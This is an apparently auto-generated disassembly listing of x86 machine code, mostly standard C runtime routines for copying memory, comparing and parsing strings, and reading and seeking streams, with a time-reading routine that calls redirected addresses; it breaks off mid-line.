; --------------------------------------------------------------------------- align 10h loc_418480: ; CODE XREF: sub_4182C0+1B1j ; sub_4182C0+208j ... neg ecx jmp off_418550[ecx*4] ; --------------------------------------------------------------------------- align 4 loc_41848C: ; CODE XREF: sub_4182C0+1A6j mov eax, edi mov edx, 3 cmp ecx, 4 jb short loc_4184A4 and eax, 3 sub ecx, eax jmp dword ptr loc_4184A4+4[eax*4] ; --------------------------------------------------------------------------- loc_4184A4: ; CODE XREF: sub_4182C0+1D6j ; DATA XREF: sub_4182C0+1DDr jmp off_4185A0[ecx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_4184B7+1 ; --------------------------------------------------------------------------- fadd dword ptr [ecx+eax*2+41850000h] loc_4184B7: ; DATA XREF: sub_4182C0+1ECo add [edx-2EDCFCBAh], cl mov [edi+3], al dec esi shr ecx, 2 dec edi cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] shr ecx, 2 mov [edi+2], al sub esi, 2 sub edi, 2 cmp ecx, 8 jb short loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h mov al, [esi+3] and edx, ecx mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] shr ecx, 2 mov [edi+1], al sub esi, 3 sub edi, 3 cmp ecx, 8 jb loc_418480 std rep movsd cld jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 4 dd offset loc_418554 dd offset loc_41855C dd offset loc_418564 dd offset loc_41856C dd offset loc_418574 dd offset loc_41857C dd offset loc_418584 off_418550 dd offset loc_418597 ; DATA XREF: sub_4182C0+1C2r ; --------------------------------------------------------------------------- loc_418554: ; DATA XREF: sub_4182C0+274o mov eax, [esi+ecx*4+1Ch] mov [edi+ecx*4+1Ch], eax loc_41855C: ; DATA XREF: sub_4182C0+278o mov eax, [esi+ecx*4+18h] mov [edi+ecx*4+18h], eax loc_418564: ; DATA XREF: sub_4182C0+27Co mov eax, [esi+ecx*4+14h] mov [edi+ecx*4+14h], eax loc_41856C: ; DATA XREF: sub_4182C0+280o mov eax, [esi+ecx*4+10h] mov [edi+ecx*4+10h], eax loc_418574: ; DATA XREF: sub_4182C0+284o mov eax, [esi+ecx*4+0Ch] mov [edi+ecx*4+0Ch], eax loc_41857C: ; DATA XREF: sub_4182C0+288o mov eax, [esi+ecx*4+8] mov [edi+ecx*4+8], eax loc_418584: ; DATA XREF: sub_4182C0+28Co mov eax, [esi+ecx*4+4] mov [edi+ecx*4+4], eax lea eax, ds:0[ecx*4] add esi, eax add edi, eax loc_418597: ; CODE XREF: sub_4182C0+1C2j ; DATA XREF: sub_4182C0:off_418550o jmp off_4185A0[edx*4] ; --------------------------------------------------------------------------- align 10h off_4185A0 dd offset loc_4185B0 ; DATA XREF: sub_4182C0+1B7r ; sub_4182C0:loc_4184A4r ... dd offset loc_4185B8 dd offset loc_4185C8 dd offset loc_4185DC ; --------------------------------------------------------------------------- loc_4185B0: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185B8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185C8: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov eax, [ebp+arg_0] pop esi pop edi leave retn ; --------------------------------------------------------------------------- align 4 loc_4185DC: ; CODE XREF: sub_4182C0+1B7j ; sub_4182C0:loc_4184A4j ... mov al, [esi+3] mov [edi+3], al mov al, [esi+2] mov [edi+2], al mov al, [esi+1] mov [edi+1], al mov eax, [ebp+arg_0] pop esi pop edi leave retn sub_4182C0 endp ; =============== S U B R O U T I N E ======================================= sub_4185F5 proc near ; CODE XREF: sub_40473F+34p ; sub_40473F+4Fp ... arg_0 = dword ptr 4 push 1 push [esp+4+arg_0] call sub_417B9B pop ecx pop ecx retn sub_4185F5 endp ; =============== S U B R O U T I N E ======================================= sub_418603 proc near ; CODE XREF: sub_418670+4p arg_0 = dword ptr 4 push esi push dword_48B69C call sub_41D5A8 mov edx, dword_48B69C pop ecx mov ecx, dword_48B698 mov esi, ecx sub esi, edx add esi, 4 cmp eax, esi pop esi jnb short loc_418662 push edx call sub_41D5A8 add eax, 10h push eax push dword_48B69C call sub_41944F add esp, 0Ch test eax, eax jnz short loc_418645 retn ; --------------------------------------------------------------------------- loc_418645: ; CODE XREF: sub_418603+3Fj mov ecx, dword_48B698 sub ecx, dword_48B69C mov dword_48B69C, eax sar ecx, 2 lea ecx, [eax+ecx*4] mov dword_48B698, ecx loc_418662: ; CODE XREF: sub_418603+23j mov eax, [esp+arg_0] mov [ecx], eax add dword_48B698, 4 retn sub_418603 endp ; =============== S U B R O U T I N E ======================================= sub_418670 proc near ; CODE XREF: sub_40482C+1Ap arg_0 = dword ptr 4 push [esp+arg_0] call sub_418603 neg eax sbb eax, eax pop ecx neg eax dec eax retn sub_418670 endp ; =============== S U B R O U T I N E ======================================= sub_418682 proc near ; DATA XREF: ___:00426018o push 80h call sub_417B89 test eax, eax pop ecx mov dword_48B69C, eax jnz short loc_4186A3 push 18h call sub_419CDA mov eax, dword_48B69C pop ecx loc_4186A3: ; CODE XREF: sub_418682+12j and dword ptr [eax], 0 mov eax, dword_48B69C mov dword_48B698, eax retn sub_418682 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4186B1 proc near ; CODE XREF: ___:00404AFFp ; sub_4053D5+4Ep var_CC = byte ptr -0CCh var_32 = word ptr -32h var_24 = dword ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1A = word ptr -1Ah var_18 = word ptr -18h var_16 = word ptr -16h var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0CCh lea eax, [ebp+var_10] push eax call near ptr 2600000h nop lea eax, [ebp+var_20] push eax nop call near ptr 27F0000h mov ax, [ebp+var_16] cmp ax, word_48A00A jnz short loc_418716 mov ax, [ebp+var_18] cmp ax, word_48A008 jnz short loc_418716 mov ax, [ebp+var_1A] cmp ax, word_48A006 jnz short loc_418716 mov ax, [ebp+var_1E] cmp ax, word_48A002 jnz short loc_418716 mov ax, [ebp+var_20] cmp ax, word_48A000 jnz short loc_418716 mov eax, dword_489FF8 jmp short loc_41875B ; --------------------------------------------------------------------------- loc_418716: ; CODE XREF: sub_4186B1+28j ; sub_4186B1+35j ... lea eax, [ebp+var_CC] push eax call near ptr 27E0000h nop cmp eax, 0FFFFFFFFh jz short loc_418743 cmp eax, 2 jnz short loc_41873F cmp [ebp+var_32], 0 jz short loc_41873F cmp [ebp+var_24], 0 jz short loc_41873F push 1 pop eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_41873F: ; CODE XREF: sub_4186B1+7Aj ; sub_4186B1+81j ... xor eax, eax jmp short loc_418746 ; --------------------------------------------------------------------------- loc_418743: ; CODE XREF: sub_4186B1+75j or eax, 0FFFFFFFFh loc_418746: ; CODE XREF: sub_4186B1+8Cj ; sub_4186B1+90j push esi push edi lea esi, [ebp+var_20] mov edi, offset word_48A000 movsd movsd movsd movsd pop edi mov dword_489FF8, eax pop esi loc_41875B: ; CODE XREF: sub_4186B1+63j push eax movzx eax, [ebp+var_4] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_10] push eax call sub_41D609 mov ecx, [ebp+arg_0] add esp, 1Ch test ecx, ecx jz short locret_41878B mov [ecx], eax locret_41878B: ; CODE XREF: sub_4186B1+D6j leave retn sub_4186B1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418790 proc near arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_48A0A0 cmp dword ptr [eax+8], 0 jnz short loc_4187E3 mov al, 0FFh mov edi, edi loc_4187AC: ; CODE XREF: sub_418790+28j ; sub_418790+48j or al, al jz short loc_4187DE mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_4187AC sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_4187AC sbb al, al sbb al, 0FFh loc_4187DE: ; CODE XREF: sub_418790+1Ej movsx eax, al jmp short loc_418817 ; --------------------------------------------------------------------------- loc_4187E3: ; CODE XREF: sub_418790+16j mov eax, 0FFh xor ebx, ebx mov edi, edi loc_4187EC: ; CODE XREF: sub_418790+68j ; sub_418790+80j or al, al jz short loc_418817 mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_4187EC push eax push ebx call sub_419101 mov ebx, eax add esp, 4 call sub_419101 add esp, 4 cmp bl, al jz short loc_4187EC sbb eax, eax sbb eax, 0FFFFFFFFh loc_418817: ; CODE XREF: sub_418790+51j ; sub_418790+5Ej pop ebx pop esi pop edi leave retn sub_418790 endp ; =============== S U B R O U T I N E ======================================= sub_41881C proc near ; CODE XREF: ___:0041ACB7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_41881C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418833 proc near ; CODE XREF: sub_41881C+Ep ; sub_418A3B+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41884B: ; CODE XREF: sub_418833+46j cmp dword_4397AC, 1 jle short loc_418863 movzx eax, bl push 8 push eax call sub_41A642 pop ecx pop ecx jmp short loc_418872 ; --------------------------------------------------------------------------- loc_418863: ; CODE XREF: sub_418833+1Fj mov ecx, off_4395A0 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_418872: ; CODE XREF: sub_418833+2Ej test eax, eax jz short loc_41887B mov bl, [esi] inc esi jmp short loc_41884B ; --------------------------------------------------------------------------- loc_41887B: ; CODE XREF: sub_418833+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_418889 or [ebp+arg_C], 2 jmp short loc_41888E ; --------------------------------------------------------------------------- loc_418889: ; CODE XREF: sub_418833+4Ej cmp bl, 2Bh jnz short loc_418894 loc_41888E: ; CODE XREF: sub_418833+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_418894: ; CODE XREF: sub_418833+59j mov eax, [ebp+arg_8] test eax, eax jl loc_418A2B cmp eax, 1 jz loc_418A2B cmp eax, 24h jg loc_418A2B push 10h test eax, eax pop ecx jnz short loc_4188DC cmp bl, 30h jz short loc_4188C6 mov [ebp+arg_8], 0Ah jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188C6: ; CODE XREF: sub_418833+88j mov al, [esi] cmp al, 78h jz short loc_4188D9 cmp al, 58h jz short loc_4188D9 mov [ebp+arg_8], 8 jmp short loc_4188F8 ; --------------------------------------------------------------------------- loc_4188D9: ; CODE XREF: sub_418833+97j ; sub_418833+9Bj mov [ebp+arg_8], ecx loc_4188DC: ; CODE XREF: sub_418833+83j cmp [ebp+arg_8], ecx jnz short loc_4188F8 cmp bl, 30h jnz short loc_4188F8 mov al, [esi] cmp al, 78h jz short loc_4188F0 cmp al, 58h jnz short loc_4188F8 loc_4188F0: ; CODE XREF: sub_418833+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_4188F8: ; CODE XREF: sub_418833+91j ; sub_418833+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_418908: ; CODE XREF: sub_418833+16Cj cmp dword_4397AC, 1 movzx esi, bl jle short loc_418920 push 4 push esi call sub_41A642 pop ecx pop ecx jmp short loc_41892B ; --------------------------------------------------------------------------- loc_418920: ; CODE XREF: sub_418833+DFj mov eax, off_4395A0 mov al, [eax+esi*2] and eax, 4 loc_41892B: ; CODE XREF: sub_418833+EBj test eax, eax jz short loc_418937 movsx ecx, bl sub ecx, 30h jmp short loc_418969 ; --------------------------------------------------------------------------- loc_418937: ; CODE XREF: sub_418833+FAj cmp dword_4397AC, 1 jle short loc_41894B push edi push esi call sub_41A642 pop ecx pop ecx jmp short loc_418956 ; --------------------------------------------------------------------------- loc_41894B: ; CODE XREF: sub_418833+10Bj mov eax, off_4395A0 mov ax, [eax+esi*2] and eax, edi loc_418956: ; CODE XREF: sub_418833+116j test eax, eax jz short loc_4189A4 movsx eax, bl push eax call sub_41D6CB pop ecx mov ecx, eax sub ecx, 37h loc_418969: ; CODE XREF: sub_418833+102j cmp ecx, [ebp+arg_8] jnb short loc_4189A4 mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41898E jnz short loc_418988 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41898E loc_418988: ; CODE XREF: sub_418833+147j or [ebp+arg_C], 4 jmp short loc_418997 ; --------------------------------------------------------------------------- loc_41898E: ; CODE XREF: sub_418833+145j ; sub_418833+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_418997: ; CODE XREF: sub_418833+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_418908 ; --------------------------------------------------------------------------- loc_4189A4: ; CODE XREF: sub_418833+125j ; sub_418833+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_4189C2 test edx, edx jz short loc_4189BC mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_4189BC: ; CODE XREF: sub_418833+181j and [ebp+var_8], 0 jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189C2: ; CODE XREF: sub_418833+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_4189E8 test cl, 1 jnz short loc_418A0F and ecx, 2 jz short loc_4189DF cmp [ebp+var_8], 80000000h ja short loc_4189E8 loc_4189DF: ; CODE XREF: sub_418833+1A1j test ecx, ecx jnz short loc_418A0F cmp [ebp+var_8], eax jbe short loc_418A0F loc_4189E8: ; CODE XREF: sub_418833+197j ; sub_418833+1AAj test byte ptr [ebp+arg_C], 1 mov dword_48A014, 22h jz short loc_4189FE or [ebp+var_8], 0FFFFFFFFh jmp short loc_418A0F ; --------------------------------------------------------------------------- loc_4189FE: ; CODE XREF: sub_418833+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_418A0F: ; CODE XREF: sub_418833+18Dj ; sub_418833+19Cj ... test edx, edx jz short loc_418A18 mov eax, [ebp+var_4] mov [edx], eax loc_418A18: ; CODE XREF: sub_418833+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_418A26 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_418A26: ; CODE XREF: sub_418833+1E9j mov eax, [ebp+var_8] jmp short loc_418A36 ; --------------------------------------------------------------------------- loc_418A2B: ; CODE XREF: sub_418833+66j ; sub_418833+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_418A34 mov [eax], edi loc_418A34: ; CODE XREF: sub_418833+1FDj xor eax, eax loc_418A36: ; CODE XREF: sub_418833+1F6j pop edi pop esi pop ebx leave retn sub_418833 endp ; =============== S U B R O U T I N E ======================================= sub_418A3B proc near ; CODE XREF: sub_4053D5+4BDp ; sub_40EE72+3775p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_418833 add esp, 10h retn sub_418A3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A52 proc near ; CODE XREF: sub_4053D5+266p ; sub_4053D5+46Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] mov [ebp+var_14], 49h push eax mov [ebp+var_18], eax mov [ebp+var_20], eax call sub_417AB0 mov [ebp+var_1C], eax lea eax, [ebp+arg_8] push eax lea eax, [ebp+var_20] push [ebp+arg_4] push eax call sub_41D797 add esp, 10h leave retn sub_418A52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418A86 proc near ; CODE XREF: sub_405A58+4Ep ; sub_406C19+30Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_418AAA xor eax, eax jmp loc_418B53 ; --------------------------------------------------------------------------- loc_418AAA: ; CODE XREF: sub_418A86+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_418ABD mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418ABD: ; CODE XREF: sub_418A86+2Dj mov [ebp+arg_C], 1000h jmp short loc_418AC9 ; --------------------------------------------------------------------------- loc_418AC6: ; CODE XREF: sub_418A86+C4j mov ecx, [ebp+arg_0] loc_418AC9: ; CODE XREF: sub_418A86+35j ; sub_418A86+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_418AFB mov eax, [esi+4] test eax, eax jz short loc_418AFB cmp ecx, eax mov edi, ecx jb short loc_418AE0 mov edi, eax loc_418AE0: ; CODE XREF: sub_418A86+56j push edi push dword ptr [esi] push ebx call sub_417390 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418AFB: ; CODE XREF: sub_418A86+49j ; sub_418A86+50j cmp ecx, [ebp+arg_C] jb short loc_418B2E cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_418B11 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_418B11: ; CODE XREF: sub_418A86+80j push eax push ebx push dword ptr [esi+10h] call sub_41E321 add esp, 0Ch test eax, eax jz short loc_418B58 cmp eax, 0FFFFFFFFh jz short loc_418B5E sub [ebp+arg_0], eax add ebx, eax jmp short loc_418B46 ; --------------------------------------------------------------------------- loc_418B2E: ; CODE XREF: sub_418A86+78j push esi call sub_41E248 cmp eax, 0FFFFFFFFh pop ecx jz short loc_418B62 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_418B46: ; CODE XREF: sub_418A86+73j ; sub_418A86+A6j cmp [ebp+arg_0], 0 jnz loc_418AC6 mov eax, [ebp+arg_8] loc_418B53: ; CODE XREF: sub_418A86+1Fj ; sub_418A86+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_418B58: ; CODE XREF: sub_418A86+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_418B62 ; --------------------------------------------------------------------------- loc_418B5E: ; CODE XREF: sub_418A86+9Fj or dword ptr [esi+0Ch], 20h loc_418B62: ; CODE XREF: sub_418A86+B2j ; sub_418A86+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_418B53 sub_418A86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418B6E proc near ; CODE XREF: sub_405AF2+2B2p ; sub_4060D0+101p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_418B87: ; CODE XREF: sub_418B6E+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_418B87 mov edx, [ebp+arg_0] test edx, edx jnz short loc_418BAF mov edx, dword_48A010 loc_418BAF: ; CODE XREF: sub_418B6E+39j ; sub_418B6E+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_418BCF test al, al jz short loc_418BCF inc edx jmp short loc_418BAF ; --------------------------------------------------------------------------- loc_418BCF: ; CODE XREF: sub_418B6E+58j ; sub_418B6E+5Cj mov ebx, edx loc_418BD1: ; CODE XREF: sub_418B6E+81j mov al, [edx] test al, al jz short loc_418BF5 movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_418BF1 inc edx jmp short loc_418BD1 ; --------------------------------------------------------------------------- loc_418BF1: ; CODE XREF: sub_418B6E+7Ej and byte ptr [edx], 0 inc edx loc_418BF5: ; CODE XREF: sub_418B6E+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov dword_48A010, edx and eax, ebx pop ebx leave retn sub_418B6E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_406387+1B6p ; sub_407252+6Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_418C93 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_418C34 shr ecx, 2 jnz short loc_418CA1 jmp short loc_418C55 ; --------------------------------------------------------------------------- loc_418C34: ; CODE XREF: sub_418C10+1Bj ; sub_418C10+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_418C62 test al, al jz short loc_418C6A test esi, 3 jnz short loc_418C34 mov ebx, ecx shr ecx, 2 jnz short loc_418CA1 loc_418C50: ; CODE XREF: sub_418C10+8Fj and ebx, 3 jz short loc_418C62 loc_418C55: ; CODE XREF: sub_418C10+22j ; sub_418C10+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_418C8E dec ebx jnz short loc_418C55 loc_418C62: ; CODE XREF: sub_418C10+2Bj ; sub_418C10+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_418C6A: ; CODE XREF: sub_418C10+2Fj test edi, 3 jz short loc_418C84 loc_418C72: ; CODE XREF: sub_418C10+72j mov [edi], al inc edi dec ecx jz loc_418D06 test edi, 3 jnz short loc_418C72 loc_418C84: ; CODE XREF: sub_418C10+60j mov ebx, ecx shr ecx, 2 jnz short loc_418CF7 loc_418C8B: ; CODE XREF: sub_418C10+7Fj ; sub_418C10+F4j mov [edi], al inc edi loc_418C8E: ; CODE XREF: sub_418C10+4Dj dec ebx jnz short loc_418C8B pop ebx pop esi loc_418C93: ; CODE XREF: sub_418C10+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_418C99: ; CODE XREF: sub_418C10+A9j ; sub_418C10+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_418C50 loc_418CA1: ; CODE XREF: sub_418C10+20j ; sub_418C10+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_418C99 test dl, dl jz short loc_418CEB test dh, dh jz short loc_418CE1 test edx, 0FF0000h jz short loc_418CD7 test edx, 0FF000000h jnz short loc_418C99 mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CD7: ; CODE XREF: sub_418C10+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CE1: ; CODE XREF: sub_418C10+B1j and edx, 0FFh mov [edi], edx jmp short loc_418CEF ; --------------------------------------------------------------------------- loc_418CEB: ; CODE XREF: sub_418C10+ADj xor edx, edx mov [edi], edx loc_418CEF: ; CODE XREF: sub_418C10+C5j ; sub_418C10+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_418D01 loc_418CF7: ; CODE XREF: sub_418C10+79j xor eax, eax loc_418CF9: ; CODE XREF: sub_418C10+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_418CF9 loc_418D01: ; CODE XREF: sub_418C10+E5j and ebx, 3 jnz short loc_418C8B loc_418D06: ; CODE XREF: sub_418C10+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_418C10 endp ; =============== S U B R O U T I N E ======================================= sub_418D0E proc near ; CODE XREF: sub_406C19+2E2p ; sub_406C19+435p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+0Ch] test al, 83h jz short loc_418D8A mov edi, [esp+8+arg_8] test edi, edi jz short loc_418D2D cmp edi, 1 jz short loc_418D2D cmp edi, 2 jnz short loc_418D8A loc_418D2D: ; CODE XREF: sub_418D0E+13j ; sub_418D0E+18j and al, 0EFh cmp edi, 1 mov [esi+0Ch], eax jnz short loc_418D44 push esi call sub_41E5B1 add [esp+0Ch+arg_4], eax pop ecx xor edi, edi loc_418D44: ; CODE XREF: sub_418D0E+27j push esi call sub_41A7D0 mov eax, [esi+0Ch] pop ecx test al, 80h jz short loc_418D59 and al, 0FCh mov [esi+0Ch], eax jmp short loc_418D6D ; --------------------------------------------------------------------------- loc_418D59: ; CODE XREF: sub_418D0E+42j test al, 1 jz short loc_418D6D test al, 8 jz short loc_418D6D test ah, 4 jnz short loc_418D6D mov dword ptr [esi+18h], 200h loc_418D6D: ; CODE XREF: sub_418D0E+49j ; sub_418D0E+4Dj ... push edi push [esp+0Ch+arg_4] push dword ptr [esi+10h] call sub_41E517 add esp, 0Ch xor ecx, ecx cmp eax, 0FFFFFFFFh setnz cl dec ecx mov eax, ecx jmp short loc_418D97 ; --------------------------------------------------------------------------- loc_418D8A: ; CODE XREF: sub_418D0E+Bj ; sub_418D0E+1Dj mov dword_48A014, 16h or eax, 0FFFFFFFFh loc_418D97: ; CODE XREF: sub_418D0E+7Aj pop edi pop esi retn sub_418D0E endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_418DA0 proc near ; CODE XREF: sub_406C19+2ACp ; sub_406C19+2CDp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_418DD1 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_418DCF jz short loc_418DD1 dec ecx dec ecx loc_418DCF: ; CODE XREF: sub_418DA0+29j not ecx loc_418DD1: ; CODE XREF: sub_418DA0+9j ; sub_418DA0+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_418DA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_418DE0 proc near ; CODE XREF: sub_407110+5Cp ; sub_407110+9Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_418E94 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_418E0A loc_418DFB: ; CODE XREF: sub_418DE0+28j mov al, [edi] inc edi test al, al jz short loc_418E3B test edi, 3 jnz short loc_418DFB loc_418E0A: ; CODE XREF: sub_418DE0+19j ; sub_418DE0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_418E0A mov eax, [edi-4] test al, al jz short loc_418E48 test ah, ah jz short loc_418E43 test eax, 0FF0000h jz short loc_418E3E test eax, 0FF000000h jnz short loc_418E0A loc_418E3B: ; CODE XREF: sub_418DE0+20j dec edi jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E3E: ; CODE XREF: sub_418DE0+52j sub edi, 2 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E43: ; CODE XREF: sub_418DE0+4Bj sub edi, 3 jmp short loc_418E4B ; --------------------------------------------------------------------------- loc_418E48: ; CODE XREF: sub_418DE0+47j sub edi, 4 loc_418E4B: ; CODE XREF: 